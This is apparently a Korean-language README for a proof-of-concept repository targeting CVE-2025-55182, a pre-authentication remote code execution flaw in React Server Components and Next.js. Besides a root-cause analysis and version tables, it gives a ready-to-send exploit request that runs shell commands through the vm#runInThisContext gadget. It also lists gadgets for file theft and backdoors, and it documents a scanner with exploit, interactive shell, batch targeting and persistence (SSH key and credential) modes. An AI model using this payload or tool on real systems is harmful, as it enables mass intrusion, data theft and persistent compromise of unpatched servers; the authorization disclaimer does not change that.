
통합 보안 연구 도구
schema.cx의 보안 연구
"통제는 환상이다. 우리를 통제하는 것은 우리가 구축한 시스템이다—우리가 먼저 그것을 이해하지 않는 한 말이다."
이 도구는 승인된 보안 테스트 전용입니다.
잠깐. 진행하기 전에 이 내용을 읽으십시오.
이 저장소는 치명적인 보안 취약점에 대한 개념 증명 코드를 포함하고 있습니다. 이 저장소의 자료에 접근, 다운로드 또는 사용함으로써 귀하는 다음 사항을 인지하고 동의하는 것으로 간주됩니다.
서면 승인 필요: 보안 테스트를 수행하기 전에 시스템 소유자로부터 명시적이고 서면으로 된 허가를 반드시 받아야 합니다. 구두 합의는 불충분합니다.
범위 제한: 테스트는 귀하의 승인에 명시적으로 명시된 시스템으로 제한되어야 합니다. "범위 확장"은 허용되지 않습니다.
관련 법률: 승인되지 않은 컴퓨터 시스템 접근은 다음을 위반합니다.
이 저장소의 작성자 및 기여자는 다음을 수행합니다.
"질문은 취약점을 악용할 수 있는지 여부가 아닙니다. 그것은 우리가 그래야 하는지, 그리고 어떤 목적을 위한 것인지입니다."
CVE-2025-55182는 React 19.x 및 Next.js 15.x-16.x 애플리케이션의 React Server Components에 영향을 미치는 사전 인증 없이 가능한 원격 코드 실행(RCE) 치명적 취약점입니다.
이 취약점은 취약한 애플리케이션에 네트워크 접근이 가능한 모든 인증되지 않은 공격자가 서버에서 임의의 명령을 실행할 수 있도록 합니다. 이 공격은 자격 증명, 사용자 상호 작용이 필요 없으며 완전히 자동화될 수 있습니다. 성공적인 악용은 다음과 같은 결과를 초래합니다.
| 지표 | 등급 |
|---|---|
| CVSS v3.1 기본 점수 | 10.0 치명적 |
| 공격 경로 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호 작용 | 없음 |
| 영향 (기밀성/무결성/가용성) | 높음 / 높음 / 높음 |
"사람들은 시스템을 이해하지 못하기 때문에 신뢰합니다. 그 신뢰는 취약점입니다."
이 취약점은 requireModule 함수 내 React의 Flight 프로토콜 구현에 존재합니다. 이 함수는 대괄호 표기법을 사용하여 사용자 제어 입력을 기반으로 모듈 내보내기에 접근하면서, 요청된 속성이 모듈의 고유 속성(own property) 인지 확인하지 않습니다.
취약한 코드 위치:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
함수: requireModule (v19.0.0 기준 약 2546-2558행)
취약한 패턴:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... 비동기 처리 ...
return moduleExports[metadata[2]]; // ← 취약: hasOwnProperty 검사 없음
}
공격은 JavaScript의 프로토타입 체인 탐색을 활용합니다.
$ACTION_0:0 필드에는 공격자가 제어하는 id(module#export 형식) 및 bound(인수) 속성을 가진 JSON이 포함됩니다.constructor와 같은 내보내기를 지정하거나 프로토타입 속성에 접근하여 공격자는 내장 Node.js 모듈을 참조할 수 있습니다.vm.runInThisContext, child_process.execSync, fs.readFileSync와 같은 함수가 공격자가 제공한 인수로 실행됩니다.HTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // "module#export" 형식 구문 분석
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // 프로토타입 체인 접근 → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
| Gadget | 모듈 | 설명 | 영향 |
|---|---|---|---|
vm#runInThisContext | vm | 현재 컨텍스트에서 JS 실행 | 직접 RCE |
vm#runInNewContext | vm | 샌드박스에서 JS 실행 (탈출 가능) | 직접 RCE |
child_process#execSync | child_process | 셸 명령 실행 | 직접 RCE |
child_process#spawnSync | child_process | 프로세스 생성 | 직접 RCE |
fs#readFileSync | fs | 임의 파일 읽기 | 데이터 유출 |
fs#writeFileSync | fs | 임의 파일 쓰기 | 지속성/백도어 |
module#_load | module | JS 모듈 로드 (2단계 RCE) | 간접 RCE |
"모든 시스템에는 문이 있습니다. 문제는 당신이 자물쇠를 직접 만들었는지, 아니면 방문자를 기대하지 않은 누군가로부터 물려받았는지입니다."
| 제품 | 취약한 버전 | 패치된 버전 |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (취약한 React 사용) | 패치된 React가 포함된 버전 |
vm, child_process 또는 fs와 같은 모듈이 webpack 번들에 포함되어야 함| 모듈 | 번들 내 가능성 | 일반적인 출처 |
|---|---|---|
fs | 매우 높음 | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | 중간-높음 | execa, shelljs, puppeteer, sharp, PDF 생성기 |
vm | 낮음-중간 | ejs, pug, 템플릿 엔진 |
module | 매우 낮음 | tsx, ts-node (보통 CLI 전용) |
이 저장소에는 여러 작동 모드를 가진 포괄적인 Python 기반 보안 스캐너가 포함되어 있습니다.
CVE-2025-55182-poc/
├── README.md # 이 파일
├── scanner/
│ ├── __init__.py # Python 패키지 초기화
│ ├── scanner.py # 주요 통합 스캐너 (6가지 모드)
│ ├── readme.md # 상세 스캐너 문서
│ ├── requirements.txt # Python 종속성
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # 취약점 심층 분석
│ └── VULNERABLE-PACKAGES.md # 영향받는 패키지 버전
설치:
cd scanner
pip install -r requirements.txt
취약점 스캔:
# 대상이 취약한지 확인
python scanner.py scan https://target.com
Gadget 탐지:
# 사용 가능한 RCE gadget 식별
python scanner.py exploit https://target.com --detect-gadgets
명령 실행 (권한 있음):
# 취약한 대상에서 명령 실행
python scanner.py exploit https://target.com -c "whoami"
배치 테스트:
# 파일에서 여러 대상 테스트
python scanner.py batch -f targets.txt -o results.json
확인을 포함한 자동 스캔:
# 악용 확인을 포함한 종합 스캔
python scanner.py auto -f targets.txt -o report.txt
취약한 대상:
[+] CVE-2025-55182에 취약합니다!
프레임워크: Next.js
버전: 15.1.0
신뢰도: 높음
사용 가능한 Gadget:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
패치된 대상:
[-] 취약하지 않거나 확인할 수 없음
탐지된 프레임워크: Next.js
버전: 15.2.0 (패치됨)
| 모드 | 목적 |
|---|---|
scan | 취약점 탐지 및 핑거프린팅 |
exploit | 특정 gadget을 사용한 통제된 악용 |
shell | 취약한 대상에서 대화형 명령 셸 |
batch | 통계와 함께 여러 URL 테스트 |
auto | 확인을 포함한 자동 다중 대상 스캔 |
persist | 지속성 공격 시연 (SSH 키, 자격 증명) |